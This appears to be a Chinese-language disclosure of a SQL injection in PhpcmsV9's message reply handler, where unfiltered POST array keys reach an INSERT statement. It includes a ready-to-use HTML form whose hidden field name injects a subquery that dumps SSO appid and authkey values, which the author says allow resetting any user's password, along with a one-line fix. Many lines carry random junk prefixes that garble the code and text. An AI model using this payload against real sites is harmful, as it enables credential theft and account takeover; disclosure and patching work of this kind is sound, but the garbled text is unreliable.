PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：

第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。

明天再更新下一个漏洞。
详细说明：
在/phpcms9/phpcms/modules/message/index.php中有代码如下：

$messageid = $this->message_db->insert($_POST['info'],true);

' k1 H% g4 O5 [
- m: Y. w8 t4 o- j' G) w7 N7 linsert方法是key value的，代码如下：

public function insert($data, $table, $return_insert_id = false, $replace = false) {
+ ~$ x: |4 B0 c6 }9 h4 D  G* `                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
" {) O6 B2 t2 g. s  w4 L                }
               
5 v* `0 J; H. K( K                $fielddata = array_keys($data);
* Q! f! ]7 H; N& X9 c                $valuedata = array_values($data);
# {# h6 m9 V/ A& v; F                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
               
6 N2 `* ~' b* Y                $field = implode (',', $fielddata);
# t# q* m: H  y. J$ k0 D0 k# Y# `                $value = implode (',', $valuedata);
2 s3 r4 v, F6 E" w, F
* K' N' u  F0 ?! f  q                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
, s4 I& X" V% o. u3 J7 d# s                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, @0 x2 x8 S) [$ f- g  c- Q, r                $return = $this->execute($sql);
: h# p2 ^/ _9 O& x5 K3 I+ V; `                return $return_insert_id ? $this->insert_id() : $return;
+ D' |$ w& A4 h; w# a3 l9 x6 v        }

3 l! P- ?- f5 x# N9 k4 O8 n
4 n2 r* z1 h) f, E3 x嗯，很遗憾的是
: e8 m& E' n8 ^$ \1 O
+ T+ P: o/ v/ T1 }% Z$ c; Xarray_walk($fielddata, array($this, 'add_special_char'));
) h  t' t0 j) C( r9 P" i
- ]2 R! q; ?6 I* E) X  T
/ T7 z% H) e" @4 g1 P中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。
$ ^, \6 U/ y4 e1 f  i5 B- P- n
到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。
  u, D7 E! w$ `( [6 c* ^8 K9 ^
8 H/ q" @- L% q2 Z$ x' s5 q) r0 F漏洞证明：
读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# n+ I; |! a9 a  |4 h$ V
- g' b$ [  ]  {1 _4 M6 v
% S* W, E5 G' y- `" M% Q& p, ~5 o表单如下：用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 w; f- i3 U8 v* a- b<table width="100%" cellspacing="0" class="table_form">
: W; p" m, E5 [4 V<tr>
<th>标 题：</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
/ v- E- x( c/ e6 e</tr>
5 M, s9 @% L+ T6 r<tr>
" h! Q/ `2 R- k) ^4 H<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
: L! g' Z/ X, O</tr>
. x9 n: h1 b1 u+ z% z# E<input type="hidden" name="info[replyid]" value="2" />
( {# [, Y7 o8 ^7 o; F# |<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
* P. a' k. [, @' e2 u7 `<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
- d/ `. X. [' {8 e, y+ H* f0 B# c<!-- 漏洞的利用重点在这里结束 -->
5 ?0 {2 V$ z2 {6 ~) _6 E9 d<tr>
<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% r2 j* u; [7 P) C6 M</tr>
, c, a2 o6 p  C7 p<tr>
<td></td>
<td colspan="2"><label>
3 D: @0 q0 R4 |0 S<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& o. g7 E' @/ S7 O3 O5 ~</label></td>
</tr>
1 Y: X  Z# j- \$ T9 _</table>
</form>
* Q' r: Q% L! d+ t. w4 ]在add_special_char函数内对key做过滤就可以了。

# P& w" q$ f+ o
# C6 A8 E5 E" m% @% t2 n
' r8 i" {" H2 e; H( E+ w0 s- G